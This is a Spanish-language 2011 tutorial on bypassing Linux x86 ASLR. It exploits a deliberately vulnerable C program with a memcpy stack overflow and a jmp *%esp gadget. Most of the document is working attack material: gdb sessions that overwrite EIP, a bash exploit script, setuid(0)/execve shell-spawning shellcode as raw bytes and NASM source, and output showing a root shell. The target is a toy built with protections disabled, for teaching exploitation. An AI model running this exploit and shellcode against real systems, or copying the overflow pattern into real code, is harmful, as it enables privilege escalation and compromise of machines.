.: **ASM / Shellcoding Series** :.
II
Bypassing local Linux x86 ASLR protection

por vlan7

vlan7 [at] overflowedminds [point] net

`http://www.overflowedminds.net`

`http://zen7.vlan7.org`

27-Feb-2011

Índice

It's pretty exciting - you inject the bytes and overflow your mind.

1. Objetivo

Nuestro objetivo es crear un exploit que inyecte en un código vulnerable un shellcode linux/x86 local válido que nos devuelva una shell en un sistema que disponga de un kernel reciente con la protección ASLR activada. Por lo tanto se requiere que el lector conozca las técnicas de explotación de un *buffer overflow* clásico tal y como describió Aleph One en su ya mítico texto publicado en la Phrack Vol. 49. Capítulo 14.

En principio la única regla es que vale todo menos fuerza bruta.

2. Entorno

Verificamos que nos encontramos ante un sistema con la protección ASLR activada ejecutando el siguiente fragmento adaptado del código propuesto por Tobias Klein en la versión 1.3.1 de su script checksec.sh, descargable desde http://www.trapkit.de/tools/checksec.html

Código 1 → checksec.sh

```
#!/bin/bash
printf " (kernel.randomize_va_space): "
if /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 1'; then
  echo -n -e '\033[33mOn (Setting: 1)\033[m\n\n'
  printf " Description - Make the addresses of mmap base, stack and VDSO page randomized.\n
      "
  printf " This, among other things, implies that shared libraries will be loaded to \n"
  printf " random addresses. Also for PIE-linked binaries, the location of code start\n"
  printf " is randomized. Heap addresses are *not* randomized.\n\n"
elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 2'; then
  echo -n -e '\033[32mOn (Setting: 2)\033[m\n\n'
  printf " Description - Make the addresses of mmap base, heap, stack and VDSO page
      randomized.\n"
  printf " This, among other things, implies that shared libraries will be loaded to random
       \n"
  printf " addresses. Also for PIE-linked binaries, the location of code start is
      randomized.\n\n"
elif /sbin/sysctl -a 2>/dev/null | grep -q 'kernel.randomize_va_space = 0'; then
  echo -n -e '\033[31mOff (Setting: 0)\033[m\n'
else
  echo -n -e '\033[31mNot supported\033[m\n'
fi
printf " See the kernel file 'Documentation/sysctl/kernel.txt' for more details.\n\n"
```

Ejecutamos el script en bash, y vemos como en nuestro entorno el comando *sysctl -a* devuelve *kernel.randomize_va_space* con un valor de 2, lo que indica la presencia de ASLR.

Código 2 → Comprobación ASLR

```
root@bt:~# ./checksec.sh
 (kernel.randomize_va_space): On (Setting: 2)

  Description - Make the addresses of mmap base, heap, stack and VDSO page randomized.
```

```
  This, among other things, implies that shared libraries will be loaded to random
  addresses. Also for PIE-linked binaries, the location of code start is randomized.

  See the kernel file 'Documentation/sysctl/kernel.txt' for more details.
```

También podemos consultar el valor de dicha variable inspeccionando /proc

Código 3 → Comprobación ASLR

```
root@bt:~# cat /proc/sys/kernel/randomize_va_space
2
```

En un sistema con ASLR activo el valor del registro ESP varía a cada ejecución, lo que quiere decir que la pila ocupa posiciones distintas de memoria a cada ejecución. Podemos comprobarlo mediante el siguiente código en C que imprime por la salida estándar el valor del registro ESP y que he sacado del documento *Introducción a la explotación de software en sistemas Linux*, por NewLog.

```
#include <stdio.h>
int main(int argc, char ** argv ) {
  int reg_esp;
  __asm__ __volatile__("mov %%esp, %0" :"=g"(reg_esp));
  printf("ESP value: %p\n", (void *) reg_esp);
  return 0;
}
```

Código 4 → isASLREnabled.c

Debido a que ASLR está activado, el registro ESP tiene unos valores distintos a cada ejecución del programa como podemos observar a continuación.

Código 5 → Comprobación ASLR

```
root@bt:~# ./isASLREnabled
ESP value : 0xbfdc8140
root@bt:~# ./isASLREnabled
ESP value : 0xbfd09ad0
root@bt:~# ./isASLREnabled
ESP value : 0xbfabb960
```

Por último mediante el comando uname obtenemos la versión del kernel, 2.6.35.8, reciente en el momento de escribir esto.

Código 6 → Versión del kernel

```
root@bt:~# uname -a
Linux bt 2.6.35.8 #1 SMP Sun Nov 14 06:32:36 EST 2010 i686 GNU/Linux
```

3. Análisis del programa vulnerable

```
vlan7@zen7:~$ url="http://www.youtube.com/watch?v=fcp1XddAIlo"; echo $(curl
    ${url%&*} 2>&1 |grep -iA2 '<title>' |grep '-') |sed 's/^- //'
Your software is shit
```

```
/* THIS PROGRAM IS A HACK */

#include <stdio.h>
#include <string.h>

void jmpesp() {
  int cika = 58623; /* ff e4 */
/*  __asm__("jmp *%esp"); ff e4 */
}

void evilcopy(char *arg) {
  char buf[256];
  memcpy(buf,arg,strlen(arg)); /* overflow */
}

int main (int argc, char **argv) {
  if (argc>1)
  {
    evilcopy(argv[1]);
    return 7; /* hay algo aqui que va mal */
  }
}
```

Código 7 → vuln.c

Para lograr la evasión de ASLR podríamos haber insertado artificialmente en el código fuente a explotar la instrucción *jmp *%esp*, según la sintaxis de la línea de código comentada, pero con el fin de presentar un ejemplo que ilustre lo que Izik llamó *doble sentido* he preferido declarar la variable *cika* de valor 58623 en decimal, que traducido a hexadecimal sería *ff e4* en notación *little-endian*, opcodes que corresponden a la instrucción *jmp *%esp*.

La protección NX se puede vulnerar al menos mediante las técnicas conocidas como *ret2libc*, *ROP* o *Borrowed Code Chunks*. SSP también se puede evadir. No obstante, no es el objetivo de este artículo estudiar estas protecciones, así que las deshabilitamos pasándole al compilador los siguientes parámetros.

Código 8 → no NX + no SSP

```
root@bt:~# gcc -o vuln vuln.c -z execstack -fno-stack-protector -g
```

Código 9 → buffer overflow

```
(gdb) r `perl -e 'print "7" x264'`
Starting program: /root/vuln `perl -e 'print "7" x264'`

Program received signal SIGSEGV, Segmentation fault.
0x37373737 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x3737373
```

4. El EIP es nuestro

```
The instruction pointer is not directly visible to the programmer; it is
    controlled implicitly by control-transfer instructions, interrupts, and
    exceptions.
INTEL 80386 PROGRAMMER'S REFERENCE MANUAL 1986
```

El orden en la pila de los elementos que forman el buffer es el siguiente. Primero el *NOP-sled*, que bien podrían ser A's, ya que no se ejecutan, seguido de la dirección de retorno, que como todo puntero en ASM/x86 ocupa 4 bytes. Podemos obtener @RET buscando en el desensamblado del ejecutable a explotar los opcodes *ff e4*, que corresponden a la instrucción jmp *%esp o al valor decimal 58623.

Código 10 → Buscando ff e4

```
root@bt:~# objdump -d vuln |grep 'ff e4'
 80483fa:       c7 45 fc ff e4 00 00  movl   $0xe4ff,-0x4(%ebp)
```

Sólo nos queda sumar 3 bytes a esa dirección, que es donde se encuentran los opcodes *ff e4* del ejecutable.

Código 11 → @RET

```
(gdb) x/1i 0x80483fd
0x80483fd <jmpesp+9>: jmp   *%esp
```

Ese puntero a ESP, pasado a notación *little-endian* es @RET en nuestro payload, y nos llevará a la ejecución de nuestro shellcode que terminaremos con un NULL que será interpretado como fin de cadena.

Código 12 → Que el EIP sea sobreescrito

```
(gdb) r `perl -e 'print "\x90" x260; print "\xfd\x83\x04\x08"; print "\x31\xdb\x8d\x43\x17\
    x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\
    xcd\x80\x00";'`
Starting program: /root/vuln `perl -e 'print "\x90" x260; print "\xfd\x83\x04\x08"; print "
    \x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\
    x8d\x41\x0b\x89\xe3\xcd\x80\x00";'`
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(...)
(no debugging symbols found)
(no debugging symbols found)
root@bt:/root# whoami
root
root@bt:/root# exit

Program exited normally
(gdb)
```

Creemos un exploit cuyo único argumento sea @RET , pues puede cambiar de un sistema a otro, entre otras cosas debido a las optimizaciones que aplique la versión de gcc con la que haya sido compilado el programa vulnerable.

Código 13 → exploit.sh

```
#!/bin/bash
# THIS PROGRAM IS A HACK

nop=
length=260

for ((i=0; $i<$length; i++)); do
  nop=$nop"\x90"
done

ret=$1
shell="\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69
    \x8d\x41\x0b\x89\xe3\xcd\x80";
arg=$nop$ret$shell"\x00"

app='./vuln'
$app `printf $arg`
```

Código 14 → Ejecución del exploit

```
root@bt:~# objdump -d vuln |grep 'ff e4'
 80483fa:       c7 45 fc ff e4 00 00  movl   $0xe4ff,-0x4(%ebp)
root@bt:~# bash exploit.sh "\xfd\x83\x04\x08"
root@bt:/root# whoami
root
```

Bingo.

Y a continuación se muestra el código fuente del shellcode en ASM.

```
El ASM se fue a pique.
Tan puro que en mi entierro sonara Eskorbuto por un PC-Speaker.
```

```
;THIS PROGRAM IS A HACK
;Coded by sch3m4 & vlan7

BITS 32

global _start
section .text

_start:
;setuid(0);
xor ebx,ebx
lea eax,[ebx+17h]
cdq
```

```
int 80h

;execve ("/bin/sh",*"/bin/sh",(char **)NULL);
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h
```

Código 15 → shellcode codificado en NASM

5. Referencias

+ Smashing The Stack For Fun And Profit
Aleph1
http://www.phrack.org/issues.html?issue=49&id=14&mode=txt

+ Introducción a la explotación de software en sistemas Linux
Albert López Fernández
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf

+ Segmentation fault en una evasion ASLR/Linux con ret2reg
VVAA
http://www.wadalbertia.org/foro/viewtopic.php?f=6&t=6167

+ Smallest GNU/Linux x86 setuid(0) & exec('/bin/sh',0,0) Stable shellcode - 28 bytes
sch3m4
http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

+ Advanced Buffer Overflow Methods [or] Smack the Stack. Cracking the VA-Patch
Izik
http://events.ccc.de/congress/2005/fahrplan/events/491.en.html

+ ASLR Smack & Laugh Reference
Tilo Muller
http://www.ece.cmu.edu/~dbrumley/courses/18739c-s11/docs/aslr.pdf

+ Exploiting prologue/epilogue variation
unkzo
http://tsar.in/papers/exploiting_pro_epi.txt

+ Linux kernel ASLR Implementation
http://xorl.wordpress.com/2011/01/16/linux-kernel-aslr-implementation/

+ Code Gems AKA There is always a better way
http://home.sch.bme.hu/~ervin/codegems.html

+ Ceci n'est pas win.com
+mala
http://3564020356.org/tutes/malawin_en.htm

6. Agradecimientos

Este documento lo quiero dedicar y agradecer a las siguientes personas.

A NewLog, por su ayuda al correo proponiendo mejoras a este documento, y por escribir esa excelente *Introducción a la explotación de software en sistemas Linux*, por su claridad explicando con la profundidad adecuada el bajo nivel que requiere el shellcoding y la explotación de software.

A TuXeD, por su riguroso conocimiento de la programación y de los sistemas a bajo nivel plasmado en sus aportaciones a la comunidad de Wadalbertia, que me ayudaron a despejar dudas en más de una ocasión.

A sch3m4, porque fue divertido optimizar código ASM.

A overflow, por escoger en Wadalbertia el nick perfecto del *exploiting*.

También a mi gato Cika, que ha crecido y ya me deja teclear tranquilo.

Y a muchos otros.

7. Si me quieres escribir ya sabes mi paradero

http://pgp.mit.edu:11371/pks/lookup?search=vlan7&op=index


```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.10 (GNU/Linux)

mQENBEzLOTcBCAC/Sqcixo2hS0S1pTsCKNb0whOrdGpeAJtCoFY6egbzGrbkBXU7
PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe
YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv970KWqh
o8/F98F5zvA1VIg3H0onGWqd6e084wSjgenLtnzrxokHV1e3CkuKdZ5udRI04SfC
o/pkt6QK3OJAQjJrj1ImYoNQ5RpcKuXiX+Q54lqCJd7kJpgDtgdBaU5lqqN5rCDJ
0/SJAM3OqrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v
d3d3LnZsYW43Lm9yZykgPGFkbWluQHZsYW43Lm9yZz6JATgEEwECACIFAkzLOTcC
GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEM0bubRe0bUrF2UH/iqUo4C2
Q1OlQj84W03xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k
4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8
2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2
aAWd/UZCrbFHFcH6CUrIi5lNmP9EVuIw1m3BtV4mwOF7D6T48CokBjVlZMyMYk3d
uERW4wjZWJ/63N95lnzqWuJAGNYzpoWqV4XbmFafomwGUmmm6b2OrU8eT/YJ177Z
RAxlpnFKe/FwYXq5AQOETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp
LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj
X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua
/OQ8wdRO7EIx5nEl0f9XyRREOGvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I
Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC
```

```
LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY
AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0
dML+1wrQgpaIQTOd7b3m+eynfbrU9O67EoD6hRX14YJELPhutzqjZ1QCAEIFJM0L
lMorcS9syMrkpxjpaSgMYFaM8DXLpvpBL60G5CxTLKAUoctS50S7bNxPvGURfWZ2
89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB
6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6
YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w
=AFJ+
-----END PGP PUBLIC KEY BLOCK-----
```

Suerte,

vlan7, 27 de Febrero de 2011.